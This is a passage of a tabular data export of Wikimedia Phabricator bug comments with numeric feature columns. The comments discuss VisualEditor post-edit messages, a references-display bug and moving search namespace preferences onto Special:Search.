https://gerrit.wikimedia.org/r/130968",,,1398983834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.32,0.92,"Change 130968 merged by jenkins-bot:
Switch to use MediaWiki's built-in messages for post-edit notifications

GERRIT_URL"
235480,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Change 130968 had a related patch set uploaded by Alex Monk:
Switch to use MediaWiki's built-in messages for post-edit notifications

https://gerrit.wikimedia.org/r/130968",,,1398977566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.344827586206897,0.9655172413793104,"Change 130968 had a related patch set uploaded by Alex Monk:
Switch to use MediaWiki's built-in messages for post-edit notifications

GERRIT_URL"
235477,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Change 127480 merged by jenkins-bot:
Expand core post edit functionality to match VE

https://gerrit.wikimedia.org/r/127480",,,1398976145,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.473684210526316,1.0,"Change 127480 merged by jenkins-bot:
Expand core post edit functionality to match VE

GERRIT_URL"
235474,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),Now just needs VE to use the same function.,,,1398975938,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,True,,,43,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Now just needs VE to use the same function.
235468,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Change 127480 had a related patch set uploaded by Alex Monk:
Expand core post edit functionality to match VE

https://gerrit.wikimedia.org/r/127480",,,1398011806,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.478260869565218,1.0,"Change 127480 had a related patch set uploaded by Alex Monk:
Expand core post edit functionality to match VE

GERRIT_URL"
235462,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Current VE messages:

    ""visualeditor-notification-created"": ""\""$1\"" has been created."",
    ""visualeditor-notification-restored"": ""\""$1\"" has been restored."",
    ""visualeditor-notification-saved"": ""Your changes to \""$1\"" have been saved."",

Current MW core message:

    'postedit-confirmation'            => 'Your edit was saved.',

We should:

1. Expand MW core to cater to all three states (create, restore, save):

** Create: ""The page has been created.""
** Restore: ""The page has been restored.""
** Saved: ""Your edit was saved.""

2. Not use different messages in VE – instead, use the core ones.

Rather than create two bugs, let's just use this one?",,,1393377054,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,True,,,34,,0.5,0.0,0.0,3.5,0.5,2.5,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,2.5,3.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.5,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,3.0,3.0,1.0,0.5,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.2974974463738507,0.5204290091930541,"Current VE messages:

    ""visualeditor-notification-created"": ""\""$1\"" has been created."",
    ""visualeditor-notification-restored"": ""\""$1\"" has been restored."",
    ""visualeditor-notification-saved"": ""Your changes to \""$1\"" have been saved."",

Current MW core message:

    'postedit-confirmation'            => 'Your edit was saved.',

We should:

1. Expand MW core to cater to all three states (create, restore, save):

** Create: ""The page has been created.""
** Restore: ""The page has been restored.""
** Saved: ""Your edit was saved.""

2. Not use different messages in VE – instead, use the core ones.

Rather than create two bugs, let's just use this one?"
54841,VisualEditor: <references /> empty in edit mode,"The <references /> section is empty in edit mode, see URL.

Other examples:

https://de.wikipedia.org/wiki/Joachim_Wiesner

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/Bahnhof_K%C3%B6ln_Eifeltor",Medium,50.0,1376480280,1378992675.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-clul26iiuspnnu6ubobc,task_description,resolved,True,c1,3,False,False,True,6,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.25531914893617,0.5531914893617021,"The <references /> section is empty in edit mode, see URL.

Other examples:

URL

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
233407,VisualEditor: <references /> empty in edit mode,"Yeah, was already fixed. Great!",,,1378992675,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-clul26iiuspnnu6ubobc,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,"Yeah, was already fixed. Great!"
233402,VisualEditor: <references /> empty in edit mode,"Hi Raimond,
in both articles I can correctly see the contents of the Einzelnachweise sections.
(Maybe this is a duplicate and the bug was already fixed?)",,,1378988604,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-clul26iiuspnnu6ubobc,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,15.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9393939393939394,0.9090909090909091,"Hi Raimond,
in both articles I can correctly see the contents of the Einzelnachweise sections.
(Maybe this is a duplicate and the bug was already fixed?)"
54817,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","https://www.mediawiki.org/wiki/Special:Preferences#mw-prefsection-searchoptions

The ""Advanced options"" section of the ""Search"" tab in MediaWiki currently looks like this:

---
Advanced options

[ ] Search in all namespaces

Search in these namespaces by default:
[ ] (Main)
[ ] Talk
[ ] User
[ ] User talk
[ ] Project
[ ] Project talk
[ ] File
[ ] File talk
[ ] MediaWiki
[ ] MediaWiki talk
[ ] Template
[ ] Template talk
[ ] Help
[ ] Help talk
[ ] Category
[ ] Category talk
[ ] Thread
[ ] Thread talk
[ ] Summary
[ ] Summary talk
[ ] Manual
[ ] Manual talk
[ ] Extension
[ ] Extension talk
[ ] API
[ ] API talk
[ ] Skin
[ ] Skin talk
[ ] Module
[ ] Module talk
[ ] Translations
[ ] Translations talk
[ ] VisualEditor
[ ] VisualEditor talk
---

This list looks silly and excessive. While {T39878} has requested a layout change, I think we need to reconsider how this list is implemented.

What about adding a checkbox to [[Special:Search]]'s advanced search section that looks something like this:

[ ] Use these namespaces as my default

This would de-duplicate the namespace listing (between Special:Preferences and Special:Search) and would allow the search user preference to be set more easily from the search interface itself.

Rather than using Special:Preferences and having heavy user interface exposure, any custom search namespace preferences could be ""hidden"" user preferences. That is, they'll still be stored if they don't match the site-wide default, but they'll not clutter up Special:Preferences.

--------------------------
**See Also**:
{T50615}",Medium,50.0,1376420940,1402249236.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ueuakppu4zprla5jwywo,task_description,resolved,True,c1,3,False,False,False,6,,0.5,0.25,0.0,0.75,0.5,2.5,0.0,0.0,0.0,0.25,1.0,0.75,0.0,0.0,0.0,0.75,0.0,3.0,4.5,0.25,0.75,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.25,1.0,0.25,2.5,0.5,0.25,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.75,0.0,2.0,0.0,0.0,0.0,0.25,0.0,17.0,0.75,1.25,0.0,0.25,0.25,0.0,0.0,0.25,0.25,0.0,0.0,0.75,0.0,0.25,0.0,0.25,0.0,2.0,1.0,16.25,0.75,1.25,4.25,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.75,4.5,4.0,0.0,1.5,0.0,1.75,0.0,0.75,0.5,0.25,1.0,0.25,0.0,8.0,3.4706760630673674,0.4855470616340182,"URL

The ""Advanced options"" section of the ""Search"" tab in MediaWiki currently looks like this:

---
Advanced options

[ ] Search in all namespaces

Search in these namespaces by default:
[ ] (Main)
[ ] Talk
[ ] User
[ ] User talk
[ ] Project
[ ] Project talk
[ ] File
[ ] File talk
[ ] MediaWiki
[ ] MediaWiki talk
[ ] Template
[ ] Template talk
[ ] Help
[ ] Help talk
[ ] Category
[ ] Category talk
[ ] Thread
[ ] Thread talk
[ ] Summary
[ ] Summary talk
[ ] Manual
[ ] Manual talk
[ ] Extension
[ ] Extension talk
[ ] API
[ ] API talk
[ ] Skin
[ ] Skin talk
[ ] Module
[ ] Module talk
[ ] Translations
[ ] Translations talk
[ ] VisualEditor
[ ] VisualEditor talk
---

This list looks silly and excessive. While {T39878} has requested a layout change, I think we need to reconsider how this list is implemented.

What about adding a checkbox to [[Special:Search]]'s advanced search section that looks something like this:

[ ] Use these namespaces as my default

This would de-duplicate the namespace listing (between Special:Preferences and Special:Search) and would allow the search user preference to be set more easily from the search interface itself.

Rather than using Special:Preferences and having heavy user interface exposure, any custom search namespace preferences could be ""hidden"" user preferences. That is, they'll still be stored if they don't match the site-wide default, but they'll not clutter up Special:Preferences.

--------------------------
**See Also**:
{T50615}"
556013,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Change 250271 merged by jenkins-bot:
Remove search preferences from Special:Preferences JavaScript

[[https://gerrit.wikimedia.org/r/250271]]",,,1446331757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,121,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.565217391304348,0.8695652173913043,"Change 250271 merged by jenkins-bot:
Remove search preferences from Special:Preferences JavaScript

[[GERRIT_URL]]"
555986,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Change 250271 had a related patch set uploaded (by saper):
Remove search preferences from Special:Preferences JavaScript

[[https://gerrit.wikimedia.org/r/250271]]
",,,1446322753,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,121,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.392857142857143,0.8928571428571429,"Change 250271 had a related patch set uploaded (by saper):
Remove search preferences from Special:Preferences JavaScript

[[GERRIT_URL]]
"
550383,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Not really. As far as I understand the current search options are handled perfectly by the  [[http://git.wikimedia.org/blob/mediawiki%2Fcore.git/0158312d4bc3de9c15064a12a73b4bf57580e45e/resources%2Fsrc%2Fmediawiki.special%2Fmediawiki.special.search.js|mediawiki.special.search.js]] ResourceLoader module, while I intend to remove this from [[http://git.wikimedia.org/blob/mediawiki%2Fcore.git/0158312d4bc3de9c15064a12a73b4bf57580e45e/resources%2Fsrc%2Fmediawiki.special%2Fmediawiki.special.preferences.js#L284|mediawiki.special.preferences.js]] in https://gerrit.wikimedia.org/r/#/c/247728/. Probably this is just a leftover from this change.",,,1445517570,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,15.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,20.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,15.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,3.9565217391304346,0.7608695652173914,"Not really. As far as I understand the current search options are handled perfectly by the  [[URL ResourceLoader module, while I intend to remove this from [[URL in URL Probably this is just a leftover from this change."
549883,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","> I have found that we still have JavaScript code attaching to #mw-htmlform-advancedsearchoptions and #mw-input-wpsearcheverything. I understand this can be safely removed?

Do you mean the All | None buttons inserted via JavaScript?",,,1445449896,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,120,,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,36.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"QUOTE

Do you mean the All | None buttons inserted via JavaScript?"
549641,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","One question:

In https://gerrit.wikimedia.org/r/#/c/247728 I have found that we still have JavaScript code attaching to 
`#mw-htmlform-advancedsearchoptions` and `#mw-input-wpsearcheverything`. I understand this can be safely removed?

",,,1445420606,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,26.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,10.0,10.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.806451612903226,0.8709677419354839,"One question:

In URL I have found that we still have JavaScript code attaching to 
CODE and CODE. I understand this can be safely removed?

"
549642,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",,,,1445420618,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
549640,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",,,,1445420596,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
257425,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Isarra from comment #27)
> May also want a separate page of 'all settings' or 'advanced settings' for a
> lot of them (it could also appear collapsed or something by default - the
> point is while this is often not the stuff folks will necessarily be after,
> it should be there somewhere in case they are), sort of like the extra
> 'config' heap you see in firefox and whatnot, but hopefully somewhat easier
> to find and use.

Is there an open bug report about this? I wouldn't oppose a gated (behind a checkbox, perhaps) advanced user preferences tab. Safari does this as well, I believe, with a preferences checkbox that enables a ""Developer"" drop-down menu. Similar-ish idea.",,,1402265111,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,3.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,3.0,9.0,8.0,1.0,3.0,0.0,3.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5569620253164556,0.6835443037974683,"(In reply to Isarra from comment #27)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Is there an open bug report about this? I wouldn't oppose a gated (behind a checkbox, perhaps) advanced user preferences tab. Safari does this as well, I believe, with a preferences checkbox that enables a ""Developer"" drop-down menu. Similar-ish idea."
257420,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Created attachment 15597
Advanced search tab in mediawiki.org as of  	1.24wmf8

**Attached**: {F11964}",,,1402261771,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.8695652173913043,"Created attachment 15597
Advanced search tab in mediawiki.org as of  	1.24wmf8

**Attached**: {F11964}"
257416,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #52)
> My complaint has ""never"" been about any checkbox, but the removal of
> Preferences.

Are you able to offer another tab of Special:Preferences and other 35 checkboxes (in the case of en.wiki) to sacrifice instead?
Preferences have been in a process of cutting for some time now and there are some rather extreme proposals around where your time would perhaps be better spent: https://www.mediawiki.org/wiki/Requests_for_comment/Redesign_user_preferences

The path I'm following is the one of least resistance for the biggest result, you'll see that I'm reducing your future pain. :)",,,1402261544,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,2.0,0.0,0.0,1.0,0.0,5.0,1.5,0.0,0.0,0.0,2.0,3.0,0.0,0.0,1.0,2.0,0.0,5.5,9.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,5.0,1.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.5,2.0,1.5,6.5,0.0,1.0,0.0,0.5,3.0,0.0,2.5,0.0,5.5,9.5,0.5,0.5,0.0,0.0,5.5,0.0,1.0,0.5,0.0,2.5,1.0,2.0,0.0,3.9907843137254897,0.832156862745098,"(In reply to billinghurst from comment #52)
QUOTE
QUOTE

Are you able to offer another tab of Special:Preferences and other 35 checkboxes (in the case of en.wiki) to sacrifice instead?
Preferences have been in a process of cutting for some time now and there are some rather extreme proposals around where your time would perhaps be better spent: URL

The path I'm following is the one of least resistance for the biggest result, you'll see that I'm reducing your future pain. :)"
